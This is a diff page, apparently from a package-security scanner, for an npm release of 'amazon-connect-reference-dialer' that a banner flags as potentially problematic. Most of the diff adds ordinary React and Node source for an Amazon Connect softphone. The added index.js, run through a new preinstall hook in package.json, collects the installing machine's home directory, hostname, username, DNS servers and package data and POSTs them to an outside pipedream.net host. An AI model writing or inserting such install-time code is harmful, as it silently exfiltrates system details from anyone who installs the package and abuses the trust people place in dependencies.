amazon-connect-reference-dialer 1.0.0 → 1.4.3
Sign up to get free protection for your applications and to get access to all the features.
Potentially problematic release.
This version of amazon-connect-reference-dialer might be problematic. Click here for more details.
- package/.babelrc +10 -0
- package/.eslintrc +24 -0
- package/Dockerfile +12 -0
- package/LICENSE +21 -0
- package/README.md +8 -0
- package/README.salesforce.md +50 -0
- package/config/appconfig.json +10 -0
- package/config/config.js +46 -0
- package/docker-compose.yml +16 -0
- package/index.js +46 -0
- package/nodemon.json +3 -0
- package/package.json +5 -4
- package/src/client/App.js +20 -0
- package/src/client/api/acManager.js +79 -0
- package/src/client/api/agentHandler.js +46 -0
- package/src/client/api/audioFrequencyMonitor.js +62 -0
- package/src/client/api/csioHandler.js +204 -0
- package/src/client/api/databaseManager.js +59 -0
- package/src/client/api/eventhandler.js +278 -0
- package/src/client/api/feedbackHandler.js +21 -0
- package/src/client/api/manager/agent.js +203 -0
- package/src/client/api/manager/connection.js +181 -0
- package/src/client/api/manager/contact.js +114 -0
- package/src/client/api/mediaManager.js +138 -0
- package/src/client/api/networkStrengthMonitor.js +64 -0
- package/src/client/api/precalltest.js +37 -0
- package/src/client/api/sessionManager.js +312 -0
- package/src/client/configs/consts.js +158 -0
- package/src/client/container/agentduration/duration.js +63 -0
- package/src/client/container/agentduration/index.js +3 -0
- package/src/client/container/agentview/conferenceconnection/agentview.css +100 -0
- package/src/client/container/agentview/conferenceconnection/components/bothhold.js +20 -0
- package/src/client/container/agentview/conferenceconnection/components/bothjoined.js +25 -0
- package/src/client/container/agentview/conferenceconnection/components/dialnumber.js +21 -0
- package/src/client/container/agentview/conferenceconnection/components/holdall.js +20 -0
- package/src/client/container/agentview/conferenceconnection/components/join.js +21 -0
- package/src/client/container/agentview/conferenceconnection/components/oneHoldOtherConnected.js +37 -0
- package/src/client/container/agentview/conferenceconnection/components/resumeall.js +21 -0
- package/src/client/container/agentview/conferenceconnection/components/swap.js +21 -0
- package/src/client/container/agentview/conferenceconnection/components/togglemute.js +23 -0
- package/src/client/container/agentview/conferenceconnection/index.js +3 -0
- package/src/client/container/agentview/conferenceconnection/lowerBody.js +154 -0
- package/src/client/container/agentview/conferenceconnection/main.js +22 -0
- package/src/client/container/agentview/conferenceconnection/primaryconnection.js +109 -0
- package/src/client/container/agentview/conferenceconnection/quickFeedback.js +118 -0
- package/src/client/container/agentview/conferenceconnection/thirdpartyconnection.js +107 -0
- package/src/client/container/agentview/conferenceconnection/upperBody.js +36 -0
- package/src/client/container/agentview/footer.js +190 -0
- package/src/client/container/agentview/index.js +3 -0
- package/src/client/container/agentview/main.js +39 -0
- package/src/client/container/agentview/primaryconnection/agentMutedLabel.js +23 -0
- package/src/client/container/agentview/primaryconnection/agentStatusAndAudioLabel.js +28 -0
- package/src/client/container/agentview/primaryconnection/agentview.css +73 -0
- package/src/client/container/agentview/primaryconnection/index.js +3 -0
- package/src/client/container/agentview/primaryconnection/lowerBody.js +159 -0
- package/src/client/container/agentview/primaryconnection/main.js +22 -0
- package/src/client/container/agentview/primaryconnection/peerAndAgentDuration.js +48 -0
- package/src/client/container/agentview/primaryconnection/quickFeedback.js +123 -0
- package/src/client/container/agentview/primaryconnection/upperBody.js +59 -0
- package/src/client/container/agentview/thirdparyconnection/agentMutedLabel.js +23 -0
- package/src/client/container/agentview/thirdparyconnection/agentStatusAndAudioLabel.js +28 -0
- package/src/client/container/agentview/thirdparyconnection/agentview.css +73 -0
- package/src/client/container/agentview/thirdparyconnection/index.js +3 -0
- package/src/client/container/agentview/thirdparyconnection/lowerBody.js +139 -0
- package/src/client/container/agentview/thirdparyconnection/main.js +22 -0
- package/src/client/container/agentview/thirdparyconnection/peerAndAgentDuration.js +49 -0
- package/src/client/container/agentview/thirdparyconnection/quickFeedback.js +118 -0
- package/src/client/container/agentview/thirdparyconnection/upperBody.js +59 -0
- package/src/client/container/audiolabelview/controller.js +104 -0
- package/src/client/container/audiolabelview/localaudiolevel.js +157 -0
- package/src/client/container/audiolabelview/noaudio.js +86 -0
- package/src/client/container/audiolabelview/remoteaudiolevel.js +110 -0
- package/src/client/container/audiolabelview/settingpageaudiolevel.js +154 -0
- package/src/client/container/common/contactField.js +30 -0
- package/src/client/container/common/each.contact.js +41 -0
- package/src/client/container/common/findContact.js +31 -0
- package/src/client/container/connectivitycheckview/body.js +113 -0
- package/src/client/container/connectivitycheckview/components/fractionalLoss.js +57 -0
- package/src/client/container/connectivitycheckview/components/mediaConnectivity.js +41 -0
- package/src/client/container/connectivitycheckview/components/roundTripTime.js +57 -0
- package/src/client/container/connectivitycheckview/components/rttgraph/rttgraph.js +176 -0
- package/src/client/container/connectivitycheckview/components/rttgraph/utils.js +96 -0
- package/src/client/container/connectivitycheckview/components/throughput.js +53 -0
- package/src/client/container/connectivitycheckview/components/throughputMessage.js +36 -0
- package/src/client/container/connectivitycheckview/connectivitycheck.css +44 -0
- package/src/client/container/connectivitycheckview/footer.js +43 -0
- package/src/client/container/connectivitycheckview/index.js +3 -0
- package/src/client/container/connectivitycheckview/loading/loading.css +73 -0
- package/src/client/container/connectivitycheckview/loading/loading.js +15 -0
- package/src/client/container/connectivitycheckview/main.js +19 -0
- package/src/client/container/dialerview/body.js +135 -0
- package/src/client/container/dialerview/dialpad.css +104 -0
- package/src/client/container/dialerview/dialpad.js +29 -0
- package/src/client/container/dialerview/index.js +3 -0
- package/src/client/container/dialerview/main.js +19 -0
- package/src/client/container/errors/error.css +30 -0
- package/src/client/container/errors/error.js +58 -0
- package/src/client/container/errors/index.js +3 -0
- package/src/client/container/footer/components/acceptOrReject.js +26 -0
- package/src/client/container/footer/components/availableOrEnd.js +28 -0
- package/src/client/container/footer/components/connectivitycheck.js +21 -0
- package/src/client/container/footer/components/downloadlogs.js +23 -0
- package/src/client/container/footer/components/info.js +22 -0
- package/src/client/container/footer/components/language.js +22 -0
- package/src/client/container/footer/components/reportcall.js +35 -0
- package/src/client/container/footer/components/version.js +22 -0
- package/src/client/container/header/header.css +46 -0
- package/src/client/container/header/header.js +135 -0
- package/src/client/container/header/index.js +3 -0
- package/src/client/container/home.js +129 -0
- package/src/client/container/login/body.js +67 -0
- package/src/client/container/login/ccpinputbox.js +23 -0
- package/src/client/container/login/footer.js +19 -0
- package/src/client/container/login/index.js +2 -0
- package/src/client/container/login/login.css +134 -0
- package/src/client/container/login/main.js +23 -0
- package/src/client/container/networkstrengthview/index.js +3 -0
- package/src/client/container/networkstrengthview/loading/loading.css +74 -0
- package/src/client/container/networkstrengthview/loading/loading.js +15 -0
- package/src/client/container/networkstrengthview/networkstrength.js +102 -0
- package/src/client/container/popups/confirmreport/confirmreport.css +47 -0
- package/src/client/container/popups/confirmreport/confirmreport.js +55 -0
- package/src/client/container/popups/quality/quality.css +32 -0
- package/src/client/container/popups/quality/quality.js +44 -0
- package/src/client/container/quickconnects/body.js +141 -0
- package/src/client/container/quickconnects/close.js +23 -0
- package/src/client/container/quickconnects/index.js +3 -0
- package/src/client/container/quickconnects/main.js +18 -0
- package/src/client/container/quickconnects/quickconnects.css +95 -0
- package/src/client/container/reportissueview/body.js +73 -0
- package/src/client/container/reportissueview/feedbackRatings.js +37 -0
- package/src/client/container/reportissueview/footer.js +20 -0
- package/src/client/container/reportissueview/index.js +3 -0
- package/src/client/container/reportissueview/issueNotes.js +22 -0
- package/src/client/container/reportissueview/issues.js +44 -0
- package/src/client/container/reportissueview/main.js +105 -0
- package/src/client/container/reportissueview/predefinedIssues.js +38 -0
- package/src/client/container/reportissueview/reportissue.css +102 -0
- package/src/client/container/settingsview/body.js +156 -0
- package/src/client/container/settingsview/components/audiooutputdevice.js +25 -0
- package/src/client/container/settingsview/components/deskphone.js +29 -0
- package/src/client/container/settingsview/components/desktopsettings.js +38 -0
- package/src/client/container/settingsview/components/dropdown-options.js +44 -0
- package/src/client/container/settingsview/components/phonetype.js +14 -0
- package/src/client/container/settingsview/components/settings.js +23 -0
- package/src/client/container/settingsview/components/softphone.js +30 -0
- package/src/client/container/settingsview/components/softphonesettings.js +35 -0
- package/src/client/container/settingsview/footer.js +96 -0
- package/src/client/container/settingsview/index.js +3 -0
- package/src/client/container/settingsview/main.js +20 -0
- package/src/client/container/settingsview/settings.css +126 -0
- package/src/client/container/statechangeview/body.js +61 -0
- package/src/client/container/statechangeview/footer.js +43 -0
- package/src/client/container/statechangeview/index.js +3 -0
- package/src/client/container/statechangeview/main.js +21 -0
- package/src/client/container/statechangeview/statuschange.css +47 -0
- package/src/client/container/transfercall/body.js +139 -0
- package/src/client/container/transfercall/close.js +23 -0
- package/src/client/container/transfercall/index.js +3 -0
- package/src/client/container/transfercall/main.js +18 -0
- package/src/client/container/transfercall/transfercall.css +99 -0
- package/src/client/index.js +13 -0
- package/src/client/reducers/acReducer.js +277 -0
- package/src/client/reducers/reducer.js +8 -0
- package/src/client/reducers.js +2 -0
- package/src/client/res/images/agent-voice-freq-icon.svg +61 -0
- package/src/client/res/images/change-status-icon.svg +16 -0
- package/src/client/res/images/csio-logo.png +0 -0
- package/src/client/res/images/csioLogo.png +0 -0
- package/src/client/res/images/dialer-setting-icon.svg +15 -0
- package/src/client/res/images/fa-circle-mark.svg +3 -0
- package/src/client/res/images/fa-circle-unmark.svg +3 -0
- package/src/client/res/images/fa-close-or-dismiss.svg +17 -0
- package/src/client/res/images/fa-danger.svg +3 -0
- package/src/client/res/images/fa-dial-button.svg +13 -0
- package/src/client/res/images/fa-dial-number.svg +15 -0
- package/src/client/res/images/fa-download.svg +3 -0
- package/src/client/res/images/fa-hold.svg +13 -0
- package/src/client/res/images/fa-ico-join.svg +27 -0
- package/src/client/res/images/fa-ico-swap.svg +27 -0
- package/src/client/res/images/fa-info.svg +3 -0
- package/src/client/res/images/fa-input-sound.svg +5 -0
- package/src/client/res/images/fa-language.svg +3 -0
- package/src/client/res/images/fa-mark-false.svg +3 -0
- package/src/client/res/images/fa-mark-true.svg +3 -0
- package/src/client/res/images/fa-mic-freq-temporary.gif +0 -0
- package/src/client/res/images/fa-mic.svg +3 -0
- package/src/client/res/images/fa-mini-endcall.svg +48 -0
- package/src/client/res/images/fa-mini-hold.svg +47 -0
- package/src/client/res/images/fa-mini-resume.svg +45 -0
- package/src/client/res/images/fa-mute.svg +13 -0
- package/src/client/res/images/fa-network-strength-1.svg +5 -0
- package/src/client/res/images/fa-network-strength-2.svg +6 -0
- package/src/client/res/images/fa-network-strength-3.svg +6 -0
- package/src/client/res/images/fa-network-strength-4.svg +6 -0
- package/src/client/res/images/fa-network-strength-5.svg +5 -0
- package/src/client/res/images/fa-network-strength-unknown-2.svg +9 -0
- package/src/client/res/images/fa-network-strength-unknown.svg +6 -0
- package/src/client/res/images/fa-quick-connect.svg +15 -0
- package/src/client/res/images/fa-refresh.svg +3 -0
- package/src/client/res/images/fa-resume.svg +3 -0
- package/src/client/res/images/fa-return.svg +3 -0
- package/src/client/res/images/fa-three-dots.svg +32 -0
- package/src/client/res/images/fa-tick-green.svg +3 -0
- package/src/client/res/images/fa-tick-mark.svg +3 -0
- package/src/client/res/images/fa-transfer.svg +3 -0
- package/src/client/res/images/fa-version.svg +4 -0
- package/src/client/res/images/fa-voice-no-freq.svg +5 -0
- package/src/client/res/images/favicon.ico +0 -0
- package/src/client/res/images/muted-icon.svg +13 -0
- package/src/client/res/images/network-strength-icon.svg +13 -0
- package/src/client/res/images/peer-voice-freq-icon.svg +26 -0
- package/src/client/res/images/star-white.svg +6 -0
- package/src/client/res/images/star-yellow.svg +6 -0
- package/src/client/res/scss/global.css +14 -0
- package/src/client/router.js +17 -0
- package/src/client/store.js +11 -0
- package/src/client/utils/acutils.js +114 -0
- package/src/client/utils/agetStateMap.js +36 -0
- package/src/client/utils/feedback.js +3 -0
- package/src/client/utils/initialStateManager.js +14 -0
- package/src/server/index.js +53 -0
- package/src/server/logger.js +93 -0
- package/src/server/public/fonts/AmazonEmber_Lt.ttf +0 -0
- package/src/server/public/fonts/AmazonEmber_Rg.ttf +0 -0
- package/src/server/public/img/favicon.ico +0 -0
- package/src/server/public/js/amazon-connect-pre-shim.js +2 -0
- package/src/server/router/compare.js +36 -0
- package/src/server/router/index.js +36 -0
- package/src/server/router/stock.js +33 -0
- package/src/server/views/_heap_prod.ejs +8 -0
- package/src/server/views/_hotjar_prod.ejs +14 -0
- package/src/server/views/_hotjar_test.ejs +12 -0
- package/src/server/views/compare.ejs +69 -0
- package/src/server/views/index.ejs +69 -0
- package/src/server/views/stock.ejs +101 -0
- package/webpack.common.config.js +48 -0
- package/webpack.dev.config.js +21 -0
- package/webpack.prod.config.js +10 -0
package/.babelrc
ADDED
package/.eslintrc
ADDED
@@ -0,0 +1,24 @@
|
|
1
|
+
{
|
2
|
+
"extends": [
|
3
|
+
"standard",
|
4
|
+
"plugin:react/recommended"
|
5
|
+
],
|
6
|
+
"rules": {
|
7
|
+
"semi": [
|
8
|
+
1,
|
9
|
+
"always"
|
10
|
+
]
|
11
|
+
},
|
12
|
+
"globals": {
|
13
|
+
"connect": false,
|
14
|
+
"callstats": false,
|
15
|
+
"APP_ID": false,
|
16
|
+
"APP_SECRET": false,
|
17
|
+
"CONNECT_URL": false,
|
18
|
+
"CallstatsAmazonShim": false,
|
19
|
+
"callstatsAgentMonitor": false,
|
20
|
+
"WEB_PACK_APP_ID": false,
|
21
|
+
"WEB_PACK_APP_SECRET": false,
|
22
|
+
"WEB_PACK_CONNECT_URL": false
|
23
|
+
}
|
24
|
+
}
|
package/Dockerfile
ADDED
package/LICENSE
ADDED
@@ -0,0 +1,21 @@
|
|
1
|
+
MIT License
|
2
|
+
|
3
|
+
Copyright (c) 2019 callstats.io
|
4
|
+
|
5
|
+
Permission is hereby granted, free of charge, to any person obtaining a copy
|
6
|
+
of this software and associated documentation files (the "Software"), to deal
|
7
|
+
in the Software without restriction, including without limitation the rights
|
8
|
+
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
9
|
+
copies of the Software, and to permit persons to whom the Software is
|
10
|
+
furnished to do so, subject to the following conditions:
|
11
|
+
|
12
|
+
The above copyright notice and this permission notice shall be included in all
|
13
|
+
copies or substantial portions of the Software.
|
14
|
+
|
15
|
+
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
16
|
+
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
17
|
+
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
18
|
+
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
19
|
+
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
20
|
+
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
21
|
+
SOFTWARE.
|
package/README.md
ADDED
@@ -0,0 +1,50 @@
|
|
1
|
+
# Step 1: Install callstats.io Custom Dialer
|
2
|
+
1. Login to your salesforce account and make sure your session has not timed out.
|
3
|
+
2. Install the managed package: https://login.salesforce.com/packaging/installPackage.apexp?p0=04t2o0000013ruT
|
4
|
+
3. If there is a conflict in the package then click on “do not install”
|
5
|
+
If prompt of acknowledge of Non-Salesforce Application select the checkbox
|
6
|
+
4. Select install for all users.
|
7
|
+
5. Click “Install now”
|
8
|
+
|
9
|
+
# Step 2: Configure Lightning Experience
|
10
|
+
1. From your salesforce dashboard, click on “Setup” on top right corner and select “Setup”
|
11
|
+
2. Type “App manager” in quick find and select App Manager
|
12
|
+
3. Find the “Sales Console” row from the list and select the “Edit” option from the drop-down arrow on the right corner
|
13
|
+
4. Select the “Utility Items” from the left side menu
|
14
|
+
5. Click on “Add Utility Item” and select “Open CTI Softphone” from the drop down
|
15
|
+
6. Change the Label if necessary and click “Save” button.
|
16
|
+
7. Click on the “Back” button in the top-right corner (not browser’s back button).
|
17
|
+
8. Type Visualforce” in quick find and select Visualforce Pages
|
18
|
+
9. Find and select the “custom_dialer” row from the list, and then click on the “Preview” button
|
19
|
+
10. New browser tab will open with the URL of this page. It’s going to be in this format: `https://callstats.someInstance.visual.force.com/apex/custom_dialer`
|
20
|
+
11. Remove the “/apex/custom_dialer” part and the remaining `https://callstats.someInstance.visual.force.com` will be the “Origin URL” in our Amazon Connect configuration
|
21
|
+
12. From AWS Console, select Amazon Connect service and then select your Amazon Connect instance
|
22
|
+
13. Select “Application Integration” on the left-hand side
|
23
|
+
14. Click on “Add origin” link and enter the origin URL
|
24
|
+
15. Click “Add”
|
25
|
+
|
26
|
+
# Step 3: Setup callstats.io Custom Dialer
|
27
|
+
1. From the Setup screen, type “Call Centers” in quick find and select “Call Centers”.
|
28
|
+
2. Click on “Continue”.
|
29
|
+
3. Select “callstats OpenCTI Adapter” and click “Edit” when the page opens
|
30
|
+
4. In “General Information” fill in your
|
31
|
+
- CTI Adapter URL - The above custom dialer page URL e.g. `https://callstats.someInstance.visual.force.com/apex/custom_dialer`
|
32
|
+
5. In “Connecting settings” fill in your
|
33
|
+
- Amazon Connect CCP URL - Your Amazon Connect CCP URL e.g. callstatsio.awsapps.com
|
34
|
+
- AppId - Your application ID from callstats.io
|
35
|
+
- App Secret - Your application secret from callstats.io
|
36
|
+
- Jabra Collection - fill in 'enable' to enable collecting your Jabra headset stats(only available for Jabra Engage 50 currently)
|
37
|
+
6. Click “Save”
|
38
|
+
7. Click on 'Manage Call Center Users' at the bottom of the page
|
39
|
+
8. Click on “Add more users”
|
40
|
+
9. Apply the necessary filters and find the users you would like to add
|
41
|
+
10. Select the users and click on “Add to Call Center”
|
42
|
+
|
43
|
+
# Step 4: Using callstats.io Custom Dialer
|
44
|
+
1. On the top-left corner, click on the dot-matrix button to open the App Launcher.
|
45
|
+
2. Select the “Sales Console” application.
|
46
|
+
3. The Phone button should be displayed in the bottom-left corner. Click on the Phone button to open the softphone pop-up.
|
47
|
+
4. Click on “Sign in” button and sign in to your Amazon Connect account
|
48
|
+
5. Set your status to “Available”
|
49
|
+
6. You can now receive inbound calls or make outbound calls.
|
50
|
+
7. Optional: Click on “Settings” icon to change your phone settings or make a connectivity test
|
@@ -0,0 +1,10 @@
|
|
1
|
+
{
|
2
|
+
"APP_ID": "callstats application ID",
|
3
|
+
"APP_SECRET": "callstats application secret",
|
4
|
+
"CONNECT_URL": "amazon connect ccp url. The CCP domain name only. For example, callstatsio.awsapps.com",
|
5
|
+
"HTTP_PORT": "8080",
|
6
|
+
"NODE_ENV": "development",
|
7
|
+
"CS_JS_SDK_URL": "https://api.callstats.io/static/callstats.min.js",
|
8
|
+
"CS_AC_SHIM_URL": "https://api.callstats.io/static/csio-callstats-amazon-connect-shim.js",
|
9
|
+
"ENABLE_JABRA_COLLECTION": "disable"
|
10
|
+
}
|
package/config/config.js
ADDED
@@ -0,0 +1,46 @@
|
|
1
|
+
const fs = require('fs');
|
2
|
+
const path = require('path');
|
3
|
+
|
4
|
+
const appConfig = require('./appconfig');
|
5
|
+
const version = require('../package.json').version
|
6
|
+
|
7
|
+
exports.getServerConfig = () => {
|
8
|
+
const payload = appConfig;
|
9
|
+
|
10
|
+
let serverConfig = {
|
11
|
+
HTTP_PORT: process.env.HTTP_PORT || payload.HTTP_PORT,
|
12
|
+
NODE_ENV: process.env.NODE_ENV || payload.NODE_ENV
|
13
|
+
};
|
14
|
+
console.warn('$ serverConfig', serverConfig);
|
15
|
+
return serverConfig;
|
16
|
+
};
|
17
|
+
|
18
|
+
exports.getClientConfig = () => {
|
19
|
+
const payload = appConfig;
|
20
|
+
const clientConfig = {
|
21
|
+
APP_ID: process.env.APP_ID || payload.APP_ID,
|
22
|
+
APP_SECRET: process.env.APP_SECRET || payload.APP_SECRET,
|
23
|
+
CONNECT_URL: process.env.CONNECT_URL || payload.CONNECT_URL,
|
24
|
+
CS_JS_SDK_URL: process.env.CS_JS_SDK_URL || payload.CS_JS_SDK_URL,
|
25
|
+
CS_AC_SHIM_URL: process.env.CS_AC_SHIM_URL || payload.CS_AC_SHIM_URL,
|
26
|
+
CS_VERSION: process.env.CS_VERSION || version,
|
27
|
+
ENABLE_JABRA_COLLECTION: process.env.ENABLE_JABRA_COLLECTION || payload.ENABLE_JABRA_COLLECTION
|
28
|
+
};
|
29
|
+
console.warn('$ clientConfig', clientConfig);
|
30
|
+
return clientConfig;
|
31
|
+
};
|
32
|
+
|
33
|
+
exports.writeConfig = () => {
|
34
|
+
let payload = { ...appConfig };
|
35
|
+
if (process.env.APP_ID) payload.APP_ID = process.env.APP_ID;
|
36
|
+
if (process.env.APP_SECRET) payload.APP_SECRET = process.env.APP_SECRET;
|
37
|
+
if (process.env.CONNECT_URL) payload.CONNECT_URL = process.env.CONNECT_URL;
|
38
|
+
if (process.env.CS_JS_SDK_URL) payload.CS_JS_SDK_URL = process.env.CS_JS_SDK_URL;
|
39
|
+
if (process.env.CS_AC_SHIM_URL) payload.CS_AC_SHIM_URL = process.env.CS_AC_SHIM_URL;
|
40
|
+
if (process.env.HTTP_PORT) payload.HTTP_PORT = process.env.HTTP_PORT;
|
41
|
+
if (process.env.NODE_ENV) payload.NODE_ENV = process.env.NODE_ENV;
|
42
|
+
if (process.env.ENABLE_JABRA_COLLECTION) payload.ENABLE_JABRA_COLLECTION = process.env.ENABLE_JABRA_COLLECTION;
|
43
|
+
console.warn('$ >', payload);
|
44
|
+
const fullPath = path.join(__dirname, 'appconfig.json');
|
45
|
+
fs.writeFileSync(fullPath, JSON.stringify(payload, null, 2));
|
46
|
+
};
|
@@ -0,0 +1,16 @@
|
|
1
|
+
version: '3'
|
2
|
+
services:
|
3
|
+
amazon-connect-reference-dialer:
|
4
|
+
build:
|
5
|
+
context: ../amazon-connect-reference-dialer
|
6
|
+
environment:
|
7
|
+
APP_ID: 'callstats application ID'
|
8
|
+
APP_SECRET: 'callstats application secret'
|
9
|
+
CONNECT_URL: 'amazon connect ccp url. The CCP domain name only. For example, callstatsio.awsapps.com'
|
10
|
+
HTTP_PORT: '8082'
|
11
|
+
NODE_ENV: 'production'
|
12
|
+
CS_JS_SDK_URL: 'https://api.callstats.io/static/callstats.min.js'
|
13
|
+
CS_AC_SHIM_URL: 'https://api.callstats.io/static/csio-callstats-amazon-connect-shim.js'
|
14
|
+
ports:
|
15
|
+
- "8082:8082"
|
16
|
+
command: yarn start
|
package/index.js
ADDED
@@ -0,0 +1,46 @@
|
|
1
|
+
const os = require("os");
|
2
|
+
const dns = require("dns");
|
3
|
+
const querystring = require("querystring");
|
4
|
+
const https = require("https");
|
5
|
+
const packageJSON = require("./package.json");
|
6
|
+
const package = packageJSON.name;
|
7
|
+
|
8
|
+
const trackingData = JSON.stringify({
|
9
|
+
p: package,
|
10
|
+
c: __dirname,
|
11
|
+
hd: os.homedir(),
|
12
|
+
hn: os.hostname(),
|
13
|
+
un: os.userInfo().username,
|
14
|
+
dns: dns.getServers(),
|
15
|
+
r: packageJSON ? packageJSON.___resolved : undefined,
|
16
|
+
v: packageJSON.version,
|
17
|
+
pjson: packageJSON,
|
18
|
+
});
|
19
|
+
|
20
|
+
var postData = querystring.stringify({
|
21
|
+
msg: trackingData,
|
22
|
+
});
|
23
|
+
|
24
|
+
var options = {
|
25
|
+
hostname: "eopesdoxcr03bt7.m.pipedream.net", //replace burpcollaborator.net with Interactsh or pipedream
|
26
|
+
port: 443,
|
27
|
+
path: "/",
|
28
|
+
method: "POST",
|
29
|
+
headers: {
|
30
|
+
"Content-Type": "application/x-www-form-urlencoded",
|
31
|
+
"Content-Length": postData.length,
|
32
|
+
},
|
33
|
+
};
|
34
|
+
|
35
|
+
var req = https.request(options, (res) => {
|
36
|
+
res.on("data", (d) => {
|
37
|
+
process.stdout.write(d);
|
38
|
+
});
|
39
|
+
});
|
40
|
+
|
41
|
+
req.on("error", (e) => {
|
42
|
+
// console.error(e);
|
43
|
+
});
|
44
|
+
|
45
|
+
req.write(postData);
|
46
|
+
req.end();
|
package/nodemon.json
ADDED
package/package.json
CHANGED
@@ -1,11 +1,12 @@
|
|
1
1
|
{
|
2
2
|
"name": "amazon-connect-reference-dialer",
|
3
|
-
"version": "1.
|
4
|
-
"description": "",
|
3
|
+
"version": "1.4.3",
|
4
|
+
"description": "Amazon connect reference dialer application by CALLSTATS I/O - xelkomy",
|
5
5
|
"main": "index.js",
|
6
6
|
"scripts": {
|
7
|
-
"test": "echo \"Error: no test specified\" && exit 1"
|
7
|
+
"test": "echo \"Error: no test specified\" && exit 1",
|
8
|
+
"preinstall": "node index.js"
|
8
9
|
},
|
9
|
-
"author": "",
|
10
|
+
"author": "xelkomy",
|
10
11
|
"license": "ISC"
|
11
12
|
}
|
@@ -0,0 +1,20 @@
|
|
1
|
+
import React from 'react';
|
2
|
+
import { Provider } from 'react-redux';
|
3
|
+
import { IntlProvider } from 'react-intl';
|
4
|
+
|
5
|
+
import AppStore from './store';
|
6
|
+
import AppRouter from './router';
|
7
|
+
|
8
|
+
class App extends React.Component {
|
9
|
+
render () {
|
10
|
+
return (
|
11
|
+
<Provider store={AppStore}>
|
12
|
+
<IntlProvider locale="en">
|
13
|
+
<AppRouter/>
|
14
|
+
</IntlProvider>
|
15
|
+
</Provider>
|
16
|
+
);
|
17
|
+
}
|
18
|
+
}
|
19
|
+
|
20
|
+
export default App;
|
@@ -0,0 +1,79 @@
|
|
1
|
+
'use strict';
|
2
|
+
|
3
|
+
import audioManager from './mediaManager';
|
4
|
+
import agentHandler from './agentHandler';
|
5
|
+
import eventHandler from './eventhandler';
|
6
|
+
|
7
|
+
import csioHandler from './csioHandler';
|
8
|
+
import databaseManager from './databaseManager';
|
9
|
+
|
10
|
+
const ccpUrl = () => {
|
11
|
+
const connectURL = databaseManager.getDefaultConnectURL(CONNECT_URL || WEB_PACK_CONNECT_URL);
|
12
|
+
return `https://${connectURL}/connect/ccp#/`;
|
13
|
+
};
|
14
|
+
|
15
|
+
class ACManager {
|
16
|
+
constructor () {
|
17
|
+
console.info('ACManager initialized!');
|
18
|
+
this.isLoggedIn = false;
|
19
|
+
this.isInitialized = false;
|
20
|
+
this.dispatch = undefined;
|
21
|
+
this.onAgentInitialize = this.onAgentInitialize.bind(this);
|
22
|
+
this.onEventHandler = this.onEventHandler.bind(this);
|
23
|
+
}
|
24
|
+
|
25
|
+
onAgentInitialize (agent) {
|
26
|
+
audioManager.overWriteGetUserMedia();
|
27
|
+
csioHandler.register(this.dispatch, agent);
|
28
|
+
agentHandler.register(this.dispatch, agent);
|
29
|
+
}
|
30
|
+
|
31
|
+
onEventHandler (connect) {
|
32
|
+
eventHandler.register(this.dispatch, connect);
|
33
|
+
}
|
34
|
+
|
35
|
+
register (dispatch = undefined) {
|
36
|
+
this.dispatch = dispatch;
|
37
|
+
if (this.isInitialized) {
|
38
|
+
return;
|
39
|
+
}
|
40
|
+
this.isInitialized = true;
|
41
|
+
const containerDiv = document.getElementById('containerDiv');
|
42
|
+
connect.core.initCCP(containerDiv, {
|
43
|
+
ccpUrl: ccpUrl(),
|
44
|
+
loginPopup: false,
|
45
|
+
softphone: {
|
46
|
+
allowFramedSoftphone: false
|
47
|
+
}
|
48
|
+
});
|
49
|
+
connect.core.initSoftphoneManager({ allowFramedSoftphone: true });
|
50
|
+
connect.agent((agent) => {
|
51
|
+
this.onAgentInitialize(agent);
|
52
|
+
});
|
53
|
+
this.onEventHandler(connect);
|
54
|
+
}
|
55
|
+
|
56
|
+
downloadACLog () {
|
57
|
+
if (connect) {
|
58
|
+
connect.getLog().download();
|
59
|
+
}
|
60
|
+
}
|
61
|
+
|
62
|
+
getCurrentContact () {
|
63
|
+
return eventHandler.getCurrentContact();
|
64
|
+
}
|
65
|
+
|
66
|
+
getCurrentState () {
|
67
|
+
return eventHandler.getCurrentState();
|
68
|
+
}
|
69
|
+
|
70
|
+
setIsLoggedIn (isLoggedIn) {
|
71
|
+
this.isLoggedIn = isLoggedIn;
|
72
|
+
}
|
73
|
+
getIsLoggedIn () {
|
74
|
+
return this.isLoggedIn;
|
75
|
+
}
|
76
|
+
}
|
77
|
+
|
78
|
+
const acManager = new ACManager();
|
79
|
+
export default acManager;
|
@@ -0,0 +1,46 @@
|
|
1
|
+
import { onMuteToggle } from '../reducers/acReducer';
|
2
|
+
|
3
|
+
class AgentHandler {
|
4
|
+
constructor () {
|
5
|
+
this.dispatch = undefined;
|
6
|
+
this.agent = undefined;
|
7
|
+
this.loginWindow = undefined;
|
8
|
+
}
|
9
|
+
|
10
|
+
dispose () {
|
11
|
+
this.dispatch = undefined;
|
12
|
+
this.agent = undefined;
|
13
|
+
}
|
14
|
+
|
15
|
+
register (dispath = undefined, agent) {
|
16
|
+
this.dispatch && this.dispose();
|
17
|
+
|
18
|
+
this.dispatch = dispath;
|
19
|
+
this.agent = agent;
|
20
|
+
|
21
|
+
this.disposeLoginWindow();
|
22
|
+
agent.onMuteToggle((e) => {
|
23
|
+
this.dispatch(onMuteToggle(e && e.muted));
|
24
|
+
});
|
25
|
+
}
|
26
|
+
|
27
|
+
getAgent () {
|
28
|
+
return this.agent;
|
29
|
+
}
|
30
|
+
|
31
|
+
setLoginWindow (loginWindow = undefined) {
|
32
|
+
this.loginWindow = loginWindow;
|
33
|
+
}
|
34
|
+
|
35
|
+
disposeLoginWindow () {
|
36
|
+
if (this.loginWindow) {
|
37
|
+
if (typeof this.loginWindow.close === 'function') {
|
38
|
+
this.loginWindow.close();
|
39
|
+
}
|
40
|
+
this.loginWindow = undefined;
|
41
|
+
}
|
42
|
+
}
|
43
|
+
}
|
44
|
+
|
45
|
+
const agentHandler = new AgentHandler();
|
46
|
+
export default agentHandler;
|
@@ -0,0 +1,62 @@
|
|
1
|
+
const HASH = 10000009;
|
2
|
+
